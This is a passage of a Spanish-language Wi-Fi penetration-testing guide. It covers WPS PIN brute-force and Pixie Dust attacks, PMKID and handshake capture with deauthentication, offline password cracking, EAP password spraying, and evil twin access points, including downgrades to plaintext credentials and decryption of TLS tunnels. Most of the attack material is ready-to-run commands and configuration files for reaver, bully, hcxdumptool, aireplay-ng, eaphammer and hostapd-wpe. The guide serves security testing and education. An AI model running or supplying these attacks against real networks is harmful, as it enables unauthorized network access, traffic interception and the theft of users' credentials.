Este ataque aprovecha una **debilidad en el código PIN WPS de ocho dígitos**; debido a este problema, el protocolo **revela información sobre los primeros cuatro dígitos del PIN**, y el **último** dígito funciona como un **checksum**, lo que hace que la fuerza bruta del AP WPS sea fácil.\
|
||||
Tenga en cuenta que algunos dispositivos incluyen **protecciones de fuerza bruta**, que generalmente **bloquean las direcciones MAC** que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, porque tendría que **rotar las direcciones MAC** mientras prueba los PIN.
|
||||
|
||||
Si se encuentra el código válido de WPS, tanto Bully como Reaver lo utilizarán para descubrir el PSK WPA/WPA2 utilizado para proteger la red, por lo que podrá conectarse en cualquier momento que lo necesite.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**Fuerza bruta inteligente**
|
||||
|
||||
En lugar de comenzar a probar cada posible PIN, debes verificar si hay **PINs descubiertos disponibles para el AP que estás atacando** (dependiendo del MAC del fabricante) y los **PINs generados por software**.
|
||||
|
||||
* La base de datos de PINs conocidos está hecha para Access Points de ciertos fabricantes para los cuales se sabe que usan los mismos PINs WPS. Esta base de datos contiene los primeros tres octetos de las direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
|
||||
* Hay varios algoritmos para generar PINs WPS. Por ejemplo, ComputePIN y EasyBox usan la dirección MAC del Access Point en sus cálculos. Pero el algoritmo de Arcadyan también requiere un ID de dispositivo.
|
||||
|
||||
### Ataque WPS Pixie Dust
|
||||
|
||||
Dominique Bongard descubrió que algunos AP tienen formas débiles de generar **nonces** (conocidos como **E-S1** y **E-S2**) que se supone que son secretos. Si podemos averiguar cuáles son estos nonces, podemos encontrar fácilmente el PIN WPS de un AP, ya que el AP debe dárnoslo en un hash para demostrar que también conoce el PIN, y el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "claves para desbloquear la caja de cerradura" que contiene el PIN WPS. Más información aquí: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
|
||||
Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para cifrar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que se podría usar un ataque offline para forzar el PIN válido.
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
### Ataque de Pin Nulo
|
||||
|
||||
Algunas implementaciones realmente malas permiten la conexión con Pin Nulo (lo cual es muy extraño). Reaver puede probar esto (Bully no puede).
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
### Airgeddon
|
||||
|
||||
Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando _**airgeddon.**_
|
||||
|
||||
.png>)
|
||||
|
||||
* 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno)
|
||||
* 7 y 8 realizan el ataque **Pixie Dust**
|
||||
* 13 te permite probar el **PIN NULL**
|
||||
* 11 y 12 recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles y generarán posibles PIN utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
|
||||
* 9 y 10 probarán **todos los posibles PIN**
|
||||
|
||||
## **WEP**
|
||||
|
||||
Tan roto y desaparecido que no voy a hablar de él. Solo sepa que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
|
||||
|
||||
.png>)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones de la comunidad
|
||||
|
||||
## WPA/WPA2 PSK
|
||||
|
||||
### PMKID
|
||||
|
||||
En 2018, los autores de hashcat [revelaron](https://hashcat.net/forum/thread-7717.html) un nuevo tipo de ataque que no solo se basa en **un solo paquete**, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, sino solo la comunicación entre el atacante y el AP.
|
||||
|
||||
Resulta que **muchos** routers modernos agregan un **campo opcional** al final del **primer marco EAPOL** enviado por el propio AP cuando alguien se está asociando, el llamado `Robust Security Network`, que incluye algo llamado `PMKID`.
|
||||
|
||||
Como se explica en la publicación original, el **PMKID** se deriva utilizando datos que nos son conocidos:
|
||||
```
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como el de la estación y el `PMK` es el mismo obtenido a partir de un apretón de manos completo de 4 vías, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de contraseña!\
|
||||
Descripción obtenida de [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
|
||||
|
||||
Para **recopilar** esta información y **realizar fuerza bruta** localmente en la contraseña, puedes hacer lo siguiente:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
airmon-ng start wlan0
|
||||
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
|
||||
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||||
```
|
||||
|
||||
```bash
|
||||
#You can also obtains PMKIDs using eaphammer
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** en \_ **/tmp/attack.pcap**\_\
|
||||
Ahora, convierta la captura al formato de **hashcat/john** y descifrelo:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Tenga en cuenta que el formato correcto de un hash contiene **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
|
||||
\_\_Si el suyo **sólo** contiene **3 partes**, entonces es **inválido** (la captura PMKID no fue válida).
|
||||
|
||||
Tenga en cuenta que `hcxdumptool` **también captura los handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puede **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`.
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
hccap2john pmkid.hccapx > handshake.john
|
||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_He notado que algunos handshakes capturados con esta herramienta no se pueden descifrar incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
|
||||
|
||||
### Captura de Handshake
|
||||
|
||||
Una forma de atacar redes **WPA/WPA2** es capturando un **handshake** e intentar **descifrar** la contraseña utilizada **offline**. Para hacerlo, necesitas encontrar el **BSSID** y el **canal** de la red **víctima**, y un **cliente** que esté conectado a la red.\
|
||||
Una vez que tengas esa información, debes comenzar a **escuchar** toda la comunicación de ese **BSSID** en ese **canal**, porque con suerte el handshake se enviará allí:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
Ahora necesitas **desautenticar** al **cliente** durante unos segundos para que se autentique automáticamente de nuevo en el AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
|
||||
```
|
||||
_Nota que como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
|
||||
|
||||
Una vez que aparezca información de handshake en `airodump-ng`, esto significa que se capturó el handshake y puedes dejar de escuchar:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Una vez que se captura el handshake, puedes **descifrarlo** con `aircrack-ng`:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
### Comprobar si hay handshake en el archivo
|
||||
|
||||
**aircrack**
|
||||
```bash
|
||||
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
||||
```
|
||||
**tshark**
|
||||
|
||||
`tshark` es una herramienta de línea de comandos que permite capturar y analizar el tráfico de red en tiempo real o desde un archivo de captura previo. Es una herramienta muy útil para la resolución de problemas de red y para la detección de posibles ataques. `tshark` es parte de la suite de herramientas `Wireshark` y comparte muchas de sus características y funcionalidades.
|
||||
```bash
|
||||
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
||||
```
|
||||
[**cowpatty**](https://github.com/roobixx/cowpatty) es una herramienta de línea de comandos para la auditoría de seguridad de redes inalámbricas que se utiliza para descifrar contraseñas WPA-PSK utilizando tablas de búsqueda.
|
||||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_Si esta herramienta encuentra un handshake incompleto de un ESSID antes del completado, no detectará el válido._
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
apt-get install pyrit #Not working for newer versions of kali
|
||||
pyrit -r psk-01.cap analyze
|
||||
```
|
||||
## **WPA Enterprise (MGT)**
|
||||
|
||||
Es importante hablar sobre los **diferentes métodos de autenticación** que podrían ser utilizados por una red Wifi empresarial. Para este tipo de redes Wifi, probablemente encontrarás en `airodump-ng` algo como esto:
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
**EAP** (Protocolo de Autenticación Extensible) es la **base** de la **comunicación de autenticación**, sobre la cual se utiliza un **algoritmo de autenticación** por parte del servidor para autenticar al **cliente** (**suplicante**) y, en algunos casos, por parte del cliente para autenticar al servidor.\
|
||||
Los principales algoritmos de autenticación utilizados en este caso son:
|
||||
|
||||
* **EAP-GTC:** Es un método EAP para soportar el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En su lugar, las contraseñas se envían al punto de acceso en **texto plano** (muy interesante para ataques de degradación).
|
||||
* **EAP-MD-5 (Message Digest)**: El cliente envía el hash MD5 de la contraseña. **No recomendado**: Vulnerable a ataques de diccionario, sin autenticación del servidor y sin forma de generar claves de privacidad equivalentes al cableado (WEP) por sesión.
|
||||
* **EAP-TLS (Transport Layer Security)**: Se basa en **certificados del lado del cliente y del servidor** para realizar la autenticación y se puede utilizar para generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones posteriores.
|
||||
* **EAP-TTLS (Tunneled Transport Layer Security)**: **Autenticación mutua** del cliente y la red a través de un canal (o túnel) cifrado, así como un medio para derivar claves WEP dinámicas por usuario y por sesión. A diferencia de EAP-TLS, **EAP-TTLS solo requiere certificados del lado del servidor (el cliente usará credenciales)**.
|
||||
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP es como el protocolo **EAP** pero crea un **túnel TLS** para proteger la comunicación. Entonces, se pueden utilizar protocolos de autenticación débiles en la parte superior de EAP, ya que estarán protegidos por el túnel.
|
||||
* **PEAP-MSCHAPv2**: Esto también se conoce como solo **PEAP** porque es ampliamente adoptado. Este es solo el desafío / respuesta vulnerable llamado MSCHAPv2 en la parte superior de PEAP (está protegido por el túnel TLS).
|
||||
* **PEAP-EAP-TLS o simplemente PEAP-TLS**: Es muy similar a **EAP-TLS** pero se crea un túnel TLS antes de que se intercambien los certificados.
|
||||
|
||||
Puede encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
### Captura de nombre de usuario
|
||||
|
||||
Al leer [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que si está utilizando **EAP**, los **mensajes de "Identidad"** deben ser **compatibles**, y el **nombre de usuario** se enviará en **texto claro** en los **mensajes de "Respuesta de identidad"**.
|
||||
|
||||
Incluso al utilizar uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **capture una comunicación de autenticación** (inicie `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtre los paquetes por `eapol`.\
|
||||
Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
|
||||
|
||||
.png>)
|
||||
|
||||
### Identidades anónimas
|
||||
|
||||
(Información tomada de [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm))
|
||||
|
||||
Tanto **EAP-PEAP como EAP-TTLS admiten el ocultamiento de identidad**. En un entorno WiFi, el punto de acceso (AP) genera típicamente una solicitud de identidad EAP como parte del proceso de asociación. Para preservar el anonimato, el cliente EAP en el sistema del usuario puede responder con la información suficiente para permitir que el primer servidor RADIUS de salto procese la solicitud, como se muestra en los siguientes ejemplos.
|
||||
|
||||
* _**EAP-Identity = anonymous**_
|
||||
|
||||
> En este ejemplo, todos los usuarios compartirán el seudónimo "anónimo". El primer servidor RADIUS de salto es un servidor EAP-PEAP o EAP-TTLS que impulsa el extremo del servidor de PEAP o TTLS. El tipo de autenticación interna (protegido) se manejará localmente o se enviará a un servidor RADIUS remoto (doméstico).
|
||||
|
||||
* _**EAP-Identity = anonymous@realm\_x**_
|
||||
|
||||
> En este ejemplo, los usuarios que pertenecen a diferentes dominios ocultan su propia identidad, pero indican a qué dominio pertenecen para que el primer servidor RADIUS de salto pueda enviar las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actuarán como el servidor PEAP o TTLS. El primer servidor de salto actúa puramente como un nodo de retransmisión RADIUS.
|
||||
>
|
||||
> Alternativamente, el primer servidor de salto puede actuar como el servidor EAP-PEAP o EAP-TTLS y procesar el método de autenticación protegido o enviarlo a otro servidor. Esta opción se puede utilizar para configurar diferentes políticas para diferentes dominios.
|
||||
|
||||
En EAP-PEAP, una vez que el servidor PEAP y el cliente PEAP establecen el túnel TLS, el servidor PEAP genera una solicitud de identidad EAP y la transmite por el túnel TLS. El cliente responde a esta segunda solicitud de identidad EAP enviando una respuesta de identidad EAP que contiene la verdadera identidad del usuario por el túnel cifrado. Esto evita que cualquier persona que espíe el tráfico 802.11 descubra la verdadera identidad del usuario.
|
||||
|
||||
EAP-TTLS funciona de manera ligeramente diferente. Con EAP-TTLS, el cliente normalmente se autentica a través de PAP o CHAP protegido por el túnel TLS. En este caso, el cliente incluirá un atributo User-Name y un atributo Password o CHAP-Password en el primer mensaje TLS enviado después de que se establezca el túnel.
|
||||
|
||||
Con cualquiera de los protocolos, el servidor PEAP/TTLS aprende la verdadera identidad del usuario una vez que se ha establecido el túnel TLS. La verdadera identidad puede ser en forma de _**usuario@dominio**_ o simplemente _**usuario**_. Si el servidor PEAP/TTLS también está autenticando al _**usuario**_, ahora conoce la identidad del usuario y procede con el método de autenticación que está protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS tiene el protocolo PEAP o TTLS eliminado. Si el método de autenticación protegido es EAP, los mensajes internos de EAP se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, no la identidad anónima del atributo User-Name de la solicitud RADIUS entrante. Si el método de autenticación protegido es PAP o CHAP (solo admitido por TTLS), los atributos de autenticación User-Name y otros recuperados de la carga útil TLS se colocan en el mensaje RADIUS saliente en lugar del atributo User-Name anónimo y los atributos TTLS EAP-Message incluidos en la solicitud RADIUS entrante.
|
||||
|
||||
### EAP-Bruteforce (ataque de contraseña)
|
||||
|
||||
Si se espera que el cliente use un **nombre de usuario y contraseña** (tenga en cuenta que **EAP-TLS no será válido** en este caso), entonces podría intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** e intentar **atacar por fuerza bruta** el acceso utilizando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
También puedes realizar este ataque utilizando `eaphammer`:
|
||||
```bash
|
||||
./eaphammer --eap-spray \
|
||||
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
||||
--essid example-wifi \
|
||||
--password bananas \
|
||||
--user-list users.txt
|
||||
```
|
||||
## Teoría de ataques al cliente
|
||||
|
||||
### Selección de red y roaming
|
||||
|
||||
Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS al que conectarse. Además, el protocolo permite a las estaciones moverse libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo de un edificio a otro, etc.). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben autenticarse en el ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso se autentique en la estación.
|
||||
|
||||
### Listas de redes preferidas (PNLs)
|
||||
|
||||
Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se almacena en la Lista de redes preferidas (PNL) de la estación. La PNL es una lista ordenada de todas las redes a las que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.
|
||||
|
||||
### Escaneo pasivo
|
||||
|
||||
En las redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de baliza para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas en el rango. Las balizas incluyen información sobre las tasas admitidas por el AP, las capacidades de cifrado, información adicional y, lo más importante, las tramas de baliza contienen el ESSID del AP (siempre que la difusión de ESSID no esté desactivada).
|
||||
|
||||
Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de baliza de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Entonces, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos obligar al cliente a conectarse a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.
|
||||
|
||||
### Sondeo activo
|
||||
|
||||
El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo activo. Los dispositivos cliente que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del rango, así como cuáles son sus capacidades. Las solicitudes de sondeo se presentan en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente comprueba si hay una red específica cerca.
|
||||
|
||||
Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe señalar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi exactamente de la misma manera, pero se envían con el campo SSID establecido en NULL. Esto dirige la solicitud de sondeo a todos los puntos de acceso cercanos, permitiendo que la estación compruebe si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.
|
||||
|
||||
## Simple AP con redirección a Internet
|
||||
|
||||
Antes de explicar cómo realizar ataques más complejos, se explicará **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** **Internet**.
|
||||
|
||||
Usando `ifconfig -a`, comprueba que la interfaz wlan para crear el AP y la interfaz conectada a Internet están presentes.
|
||||
|
||||
### DHCP y DNS
|
||||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
Cree un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
|
||||
```
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
||||
dhcp-option=3,192.168.1.1
|
||||
dhcp-option=6,192.168.1.1
|
||||
server=8.8.8.8
|
||||
log-queries
|
||||
log-dhcp
|
||||
listen-address=127.0.0.1
|
||||
```
|
||||
Luego **configura las IPs** y **rutas**:
|
||||
```
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
```
|
||||
Y luego **inicie** dnsmasq:
|
||||
```
|
||||
dnsmasq -C dnsmasq.conf -d
|
||||
```
|
||||
### hostapd
|
||||
|
||||
Hostapd es un demonio que facilita la creación de puntos de acceso inalámbricos utilizando tarjetas de red inalámbricas. Es compatible con WPA y WPA2, y puede ser utilizado para crear redes inalámbricas seguras.
|
||||
```
|
||||
apt-get install hostapd
|
||||
```
|
||||
Cree un archivo de configuración _hostapd.conf:_
|
||||
```
|
||||
interface=wlan0
|
||||
driver=nl80211
|
||||
ssid=MITIWIFI
|
||||
hw_mode=g
|
||||
channel=11
|
||||
macaddr_acl=0
|
||||
ignore_broadcast_ssid=0
|
||||
auth_algs=1
|
||||
wpa=2
|
||||
wpa_passphrase=mitmwifi123
|
||||
wpa_key_mgmt=WPA-PSK
|
||||
wpa_pairwise=CCMP
|
||||
wpa_group_rekey=86400
|
||||
ieee80211n=1
|
||||
wme_enabled=1
|
||||
```
|
||||
**Detener procesos molestos**, establecer el modo **monitor**, y **iniciar hostapd**:
|
||||
```
|
||||
airmon-ng check kill
|
||||
iwconfig wlan0 mode monitor
|
||||
ifconfig wlan0 up
|
||||
hostapd ./hostapd.conf
|
||||
```
|
||||
### Reenvío y Redirección
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## Evil Twin
|
||||
|
||||
Un ataque de Evil Twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo verán el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse contra el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tendrán varios puntos de acceso que extienden la red, todos usando el mismo nombre para expandir el acceso sin confundir a los usuarios.
|
||||
|
||||
Debido a cómo funciona la implementación de los clientes (recuerde que el protocolo 802.11 permite que las estaciones se muevan libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Es posible hacerlo ofreciendo una mejor señal (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de deautenticación, interferencia o alguna otra forma de ataque DoS).
|
||||
|
||||
También tenga en cuenta que las implementaciones inalámbricas del mundo real suelen tener más de un punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance de línea de visión debido a su ubicación en el techo. La desautenticación de un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de su AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidosos) o se tenga mucho cuidado con la ubicación del AP falso (difícil).
|
||||
|
||||
Puede crear un Evil Twin básico abierto (sin capacidad para enrutar el tráfico a Internet) haciendo:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
También se puede crear un Evil Twin utilizando **eaphammer** (ten en cuenta que para crear Evil Twins con eaphammer la interfaz **NO debe estar** en modo **monitor**):
|
||||
```
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
O usando Airgeddon: `Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).`
|
||||
|
||||
.png>)
|
||||
|
||||
Por favor, tenga en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puede intentar hacer un DoS al AP real y esperar a que el usuario se conecte manualmente a su Evil Twin abierto, o podría hacer un DoS al AP real y usar un WPA Evil Twin para capturar el handshake (usando este método no podrá dejar que la víctima se conecte a usted ya que no conoce la PSK, pero puede capturar el handshake e intentar crackearlo).
|
||||
|
||||
_Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._
|
||||
|
||||
### Evil Twin WPA/WPA2
|
||||
|
||||
Puede crear un **Evil Twin usando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todas formas, **para completar el handshake de 4 vías** también necesitas **saber** la **contraseña** que el cliente va a usar. Si **no la conoces**, la **conexión no se completará**.
|
||||
```
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### Evil Twin Empresarial
|
||||
|
||||
Para entender este ataque, recomendaría leer primero la breve explicación de [WPA Enterprise](./#wpa-enterprise-mgt).
|
||||
|
||||
**Usando hostapd-wpe**
|
||||
|
||||
`hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, se puede utilizar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descargar el archivo python dentro de _/etc/hostapd-wpe/_).
|
||||
```
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
En el archivo de configuración se pueden seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, credenciales/clave, parámetros dh, versión y autenticación wpa...
|
||||
|
||||
[**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md)
|
||||
|
||||
**Usando EAPHammer**
|
||||
```bash
|
||||
# Generate Certificates
|
||||
./eaphammer --cert-wizard
|
||||
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Por defecto, EAPHammer propone estos métodos de autenticación (observa que GTC es el primero en intentar obtener contraseñas en texto plano y luego se utilizan métodos de autenticación más robustos):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
O también puedes usar:
|
||||
|
||||
* `--negotiate gtc-downgrade` para usar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano).
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
|
||||
* [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Usando Airgeddon**
|
||||
|
||||
`Airgeddon` puede usar certificados previamente generados para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Más tarde, el atacante puede intentar descifrar la contraseña.\
|
||||
`Airggedon` te ofrece la posibilidad de un **ataque continuo de Evil Twin (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (suave).**
|
||||
|
||||
.png>)
|
||||
|
||||
### Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
|
||||
|
||||
_Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
|
||||
|
||||
Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
|
||||
|
||||
Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. También, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
|
||||
|
||||
